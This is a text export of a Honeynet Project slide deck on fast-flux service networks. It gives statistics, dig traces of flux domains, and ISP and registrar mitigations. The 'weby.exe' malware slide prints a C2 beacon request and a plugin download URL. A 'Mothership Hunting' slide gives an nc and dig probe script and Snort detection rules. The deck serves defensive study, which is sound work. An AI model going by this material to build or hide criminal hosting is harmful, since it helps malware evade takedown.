fast flux 0 2

Fast-Flux Service Networks : Fast-Flux Service Networks


Speaker : Speaker Founder of the Honeynet Project. Information security eleven years, four as senior security architect for Sun Microsystems. Seven years Army, four as officer in Rapid Deployment Force.


About The Project : About The Project


What is Fast-Flux : What is Fast-Flux Multiple IP addresses (potentially thousands) assigned to a fully qualified domain name such as http://www.example.com. Often combined with redirection / reverse-proxy. Used for Cyber-Crime.


Why Fast-Flux : Why Fast-Flux Simplicity Availability, disposable front ends. Protection from LE, hidden back ends. Bottom line, higher ROI. Its all about the economics.


01 Mar - 27 Sep 2007 : 01 Mar - 27 Sep 2007 Over 40,000 domains Over 150,000 Flux IPs Over 2,500,000 unique mappings.


Slide7 : Fast-Flux


Recent Fast-Flux Example thebestcasinosonly.org : Recent Fast-Flux Example thebestcasinosonly.org


Dig Example : Dig Example


A Records : A Records


Class B Diversity : Class B Diversity


TTL Values : TTL Values


NS Servers : NS Servers


IPs mapped to thebestcasinosonly.org  : IPs mapped to thebestcasinosonly.org 287 IP Addresses 60 Different AS #’s


Passive-DNS Replication : Passive-DNS Replication http://cert.uni-stuttgart.de/stats/dns-replication.php


Single vs Double Flux : Single vs Double Flux Single: A records for fully qualified domain name constantly changing. Double: A and NS records for fully qualified domain names constantly changing.


Slide17 : ;; WHEN: Sat Feb 3 20:08:08 2007 divewithsharks.hk. 1800 IN A 70.68.187.xxx [xxx.vf.shawcable.net] divewithsharks.hk. 1800 IN A 76.209.81.xxx [SBIS-AS - AT&T Internet Services] divewithsharks.hk. 1800 IN A 85.207.74.xxx [adsl-ustixxx-74-207-85.bluetone.cz] divewithsharks.hk. 1800 IN A 90.144.43.xxx [d90-144-43-xxx.cust.tele2.fr] divewithsharks.hk. 1800 IN A 142.165.41.xxx [142-165-41-xxx.msjw.hsdb.sasknet.sk.ca] divewithsharks.hk. 1800 IN NS ns1.world-wr.com. divewithsharks.hk. 1800 IN NS ns2.world-wr.com. ns1.world-wr.com. 87169 IN A 66.232.119.212 [HVC-AS - HIVELOCITY VENTURES CORP] ns2.world-wr.com. 87177 IN A 209.88.199.xxx [vpdn-dsl209-88-199-xxx.alami.net] ;; WHEN: Sat Feb 3 20:40:04 2007 (~30 minutes/1800 seconds later) divewithsharks.hk. 1800 IN A 24.85.102.xxx [xxx.vs.shawcable.net] NEW divewithsharks.hk. 1800 IN A 69.47.177.xxx [d47-69-xxx-177.try.wideopenwest.com] NEW divewithsharks.hk. 1800 IN A 70.68.187.xxx [xxx.vf.shawcable.net] divewithsharks.hk. 1800 IN A 90.144.43.xxx [d90-144-43-xxx.cust.tele2.fr] divewithsharks.hk. 1800 IN A 142.165.41.xxx [142-165-41-xxx.msjw.hsdb.sasknet.sk.ca] divewithsharks.hk. 1800 IN NS ns1.world-wr.com. divewithsharks.hk. 1800 IN NS ns2.world-wr.com. ns1.world-wr.com. 85248 IN A 66.232.119.xxx [HVC-AS - HIVELOCITY VENTURES CORP] ns2.world-wr.com. 82991 IN A 209.88.199.xxx [vpdn-dsl209-88-199-xxx.alami.net] ;; WHEN: Sat Feb 3 21:10:07 2007 (~30 minutes/1800 seconds later) divewithsharks.hk. 1238 IN A 68.150.25.xxx [xxx.ed.shawcable.net] NEW divewithsharks.hk. 1238 IN A 76.209.81.xxx [SBIS-AS - AT&T Internet Services] This one retuns! divewithsharks.hk. 1238 IN A 172.189.83.xxx [xxx.ipt.aol.com] NEW divewithsharks.hk. 1238 IN A 200.115.195.xxx [pcxxx.telecentro.com.ar] NEW divewithsharks.hk. 1238 IN A 213.85.179.xxx [CNT Autonomous System] NEW divewithsharks.hk. 1238 IN NS ns1.world-wr.com. divewithsharks.hk. 1238 IN NS ns2.world-wr.com. ns1.world-wr.com. 83446 IN A 66.232.119.xxx [HVC-AS - HIVELOCITY VENTURES CORP] ns2.world-wr.com. 81189 IN A 209.88.199.xxx [vpdn-dsl209-88-199-xxx.alami.net]


Single vs. Double Flux : Single vs. Double Flux


Slide19 : login.mylspacee.com. 177 IN A 66.229.133.xxx [c-66-229-133-xxx.hsd1.fl.comcast.net] login.mylspacee.com. 177 IN A 67.10.117.xxx [cpe-67-10-117-xxx.gt.res.rr.com] login.mylspacee.com. 177 IN A 70.244.2.xxx [adsl-70-244-2-xxx.dsl.hrlntx.swbell.net] login.mylspacee.com. 177 IN A 74.67.113.xxx [cpe-74-67-113-xxx.stny.res.rr.com] login.mylspacee.com. 177 IN A 74.137.49.xxx [74-137-49-xxx.dhcp.insightbb.com] mylspacee.com. 108877 IN NS ns3.myheroisyourslove.hk. mylspacee.com. 108877 IN NS ns4.myheroisyourslove.hk. mylspacee.com. 108877 IN NS ns5.myheroisyourslove.hk. mylspacee.com. 108877 IN NS ns1.myheroisyourslove.hk. mylspacee.com. 108877 IN NS ns2.myheroisyourslove.hk. ns1.myheroisyourslove.hk.854 IN A 70.227.218.xxx [ppp-70-227-218-xxx.dsl.sfldmi.ameritech.net] ns2.myheroisyourslove.hk.854 IN A 70.136.16.xxx [adsl-70-136-16-xxx.dsl.bumttx.sbcglobal.net] ns3.myheroisyourslove.hk. 854 IN A 68.59.76.xxx [c-68-59-76-xxx.hsd1.al.comcast.net] ns4.myheroisyourslove.hk. 854 IN A 70.126.19.xxx [xxx-19.126-70.tampabay.res.rr.com] ns5.myheroisyourslove.hk. 854 IN A 70.121.157.xxx [xxx.157.121.70.cfl.res.rr.com] ;; WHEN: Wed Apr 4 18:51:56 2007 (~4 minutes/186 seconds later) login.mylspacee.com. 161 IN A 74.131.218.xxx [74-131-218-xxx.dhcp.insightbb.com] NEW login.mylspacee.com. 161 IN A 24.174.195.xxx [cpe-24-174-195-xxx.elp.res.rr.com] NEW login.mylspacee.com. 161 IN A 65.65.182.xxx [adsl-65-65-182-xxx.dsl.hstntx.swbell.net] NEW login.mylspacee.com. 161 IN A 69.215.174.xxx [ppp-69-215-174-xxx.dsl.ipltin.ameritech.net] NEW login.mylspacee.com. 161 IN A 71.135.180.xxx [adsl-71-135-180-xxx.dsl.pltn13.pacbell.net] NEW mylspacee.com. 108642 IN NS ns3.myheroisyourslove.hk. mylspacee.com. 108642 IN NS ns4.myheroisyourslove.hk. mylspacee.com. 108642 IN NS ns5.myheroisyourslove.hk. mylspacee.com. 108642 IN NS ns1.myheroisyourslove.hk. mylspacee.com. 108642 IN NS ns2.myheroisyourslove.hk. ns1.myheroisyourslove.hk. 608 IN A 70.227.218.xxx [ppp-70-227-218-xxx.dsl.sfldmi.ameritech.net] ns2.myheroisyourslove.hk. 608 IN A 70.136.16.xxx [adsl-70-136-16-xxx.dsl.bumttx.sbcglobal.net] ns3.myheroisyourslove.hk. 608 IN A 68.59.76.xxx [c-68-59-76-xxx.hsd1.al.comcast.net] ns4.myheroisyourslove.hk. 608 IN A 70.126.19.xxx [xxx-19.126-70.tampabay.res.rr.com] ns5.myheroisyourslove.hk. 608 IN A 70.121.157.xxx [xxx.157.121.70.cfl.res.rr.com]


Slide20 : ;; WHEN: Wed Apr 4 21:13:14 2007 (~90 minutes/4878 seconds later) ns1.myheroisyourslove.hk. 3596 IN A 75.67.15.xxx [c-75-67-15-xxx.hsd1.ma.comcast.net] NEW ns2.myheroisyourslove.hk. 3596 IN A 75.22.239.xxx [adsl-75-22-239-xxx.dsl.chcgil.sbcglobal.net] NEW ns3.myheroisyourslove.hk. 3596 IN A 75.33.248.xxx [adsl-75-33-248-xxx.dsl.chcgil.sbcglobal.net] NEW ns4.myheroisyourslove.hk. 180 IN A 69.238.210.xxx [ppp-69-238-210-xxx.dsl.irvnca.pacbell.net] NEW ns5.myheroisyourslove.hk. 3596 IN A 70.64.222.xxx [xxx.mj.shawcable.net] NEW ;; WHEN: Wed Apr 4 18:51:56 2007 (~4 minutes/186 seconds later) login.mylspacee.com. 161 IN A 74.131.218.xxx [74-131-218-xxx.dhcp.insightbb.com] NEW login.mylspacee.com. 161 IN A 24.174.195.xxx [cpe-24-174-195-xxx.elp.res.rr.com] NEW login.mylspacee.com. 161 IN A 65.65.182.xxx [adsl-65-65-182-xxx.dsl.hstntx.swbell.net] NEW login.mylspacee.com. 161 IN A 69.215.174.xxx [ppp-69-215-174-xxx.dsl.ipltin.ameritech.net] NEW login.mylspacee.com. 161 IN A 71.135.180.xxx [adsl-71-135-180-xxx.dsl.pltn13.pacbell.net] NEW mylspacee.com. 108642 IN NS ns3.myheroisyourslove.hk. mylspacee.com. 108642 IN NS ns4.myheroisyourslove.hk. mylspacee.com. 108642 IN NS ns5.myheroisyourslove.hk. mylspacee.com. 108642 IN NS ns1.myheroisyourslove.hk. mylspacee.com. 108642 IN NS ns2.myheroisyourslove.hk. ns1.myheroisyourslove.hk. 608 IN A 70.227.218.xxx [ppp-70-227-218-xxx.dsl.sfldmi.ameritech.net] ns2.myheroisyourslove.hk. 608 IN A 70.136.16.xxx [adsl-70-136-16-xxx.dsl.bumttx.sbcglobal.net] ns3.myheroisyourslove.hk. 608 IN A 68.59.76.xxx [c-68-59-76-xxx.hsd1.al.comcast.net] ns4.myheroisyourslove.hk. 608 IN A 70.126.19.xxx [xxx-19.126-70.tampabay.res.rr.com] ns5.myheroisyourslove.hk. 608 IN A 70.121.157.xxx [xxx.157.121.70.cfl.res.rr.com]


Double Flux Review : Double Flux Review


Double Flux Step 1 - DNS : Double Flux Step 1 - DNS


Double Flux Step 2 - HTTP : Double Flux Step 2 - HTTP


Slide24 : Orange lines Potential back-end connection between an IP mapped to a web domain or an authoritative DNS domain in a 2-minute window (1 web domain is depicted and its 5 authoritative DNS servers) Light Blue lines represents an HTTP request from an end-user directed at an IP address in flux in that same 2-minute window based on round-robin DNS. Magenta lines represents a DNS request from an end-user to one of the authoritative nameservers (in that window of time)


TLD Breakdown for some recent Flux : TLD Breakdown for some recent Flux


greatfriedrice.info : greatfriedrice.info Created January 02 2007, terminated February 13, 2007. Collected data 03 February 2007 to 11 February 2007. Queried DNS every 2 minutes A total of 3,241 unique IP addresses were utilized.


Fast-Flux Malware : Fast-Flux Malware weby.exe MD5 70978572bc5c4fecb9d759611b27a762 Resolves www.google.com (connectivity test). Register to mothership. Configuration file http://xxx.iconnectyou.biz/settings/weby/settings.ini Grabs DLL plugin _ddos.dll GET /settings/weby/remote.php?os=XP&user=homenet-ab0148a&status=1&version=2.0&build=beta004&uptime=244813135872w%20244813135872d%20244813135892h%20244813135919m%20244813135929s HTTP/1.1 User-Agent: MSIE 7.0 Host: xxx.ifeelyou.info Cache-Control: no-cache


Mothership Hunting : Mothership Hunting $ echo fluxtest.sh ; #!/bin/bash # Simple shell script to test # suspected flux nodes on your managed networks echo "aGVsbG9mbHV4IAo" | nc -w 1 ${1} 80 dig +time=1 aGVsbG9mbHV4IAo.dns.com @${1} alert tcp $HOME_NET 1024:5000 -> !$HOME_NET 80 (msg: "FluxHTTP_Upstream_DST"; flow: established,to_server; content:"aGVsbG9mbHV4IAo"; offset: 0; depth: 15; priority: 1; classtype:trojan-activity; sid: 5005111; rev: 1;) alert udp $HOME_NET 1024:65535 -> !$HOME_NET 53 (msg: "FluxDNS_Upstream_DST"; content: "|00 02 01 00 00 01|"; offset: 0; depth: 6; content:"aGVsbG9mbHV4IAo"; within: 20; priority: 1; classtype:trojan-activity; sid: 5005112; rev: 1;)


Mitigation : Mitigation Establish policies to enable blocking of TCP 80 and UDP 53 into user-land networks if possible (ISP) Block access to controller infrastructure (motherships, registration, and availability checkers) as they are discovered. (ISP) Improving domain registrar response procedures, and auditing new registrations for likely fraudulent purpose. (Registrar) Increase service provider awareness, foster understanding of the threat, shared processes and knowledge. (ISP) Blackhole DNS and BGP route injection to kill related motherships and management infrastructure. (ISP) Passive DNS harvesting/monitoring to identify A or NS records advertised into publicly routable user IP space. (ISPs, Registrars, Security professionals, ...)


Summary : Summary Fast-Flux is simply another step criminals are taking to strengthen their infrastructure (ROI). Little (but growing) awareness and understanding of this architecture.


Questions? : Questions? http://www.honeynet.org http://www.honeynet.org/papers/ff/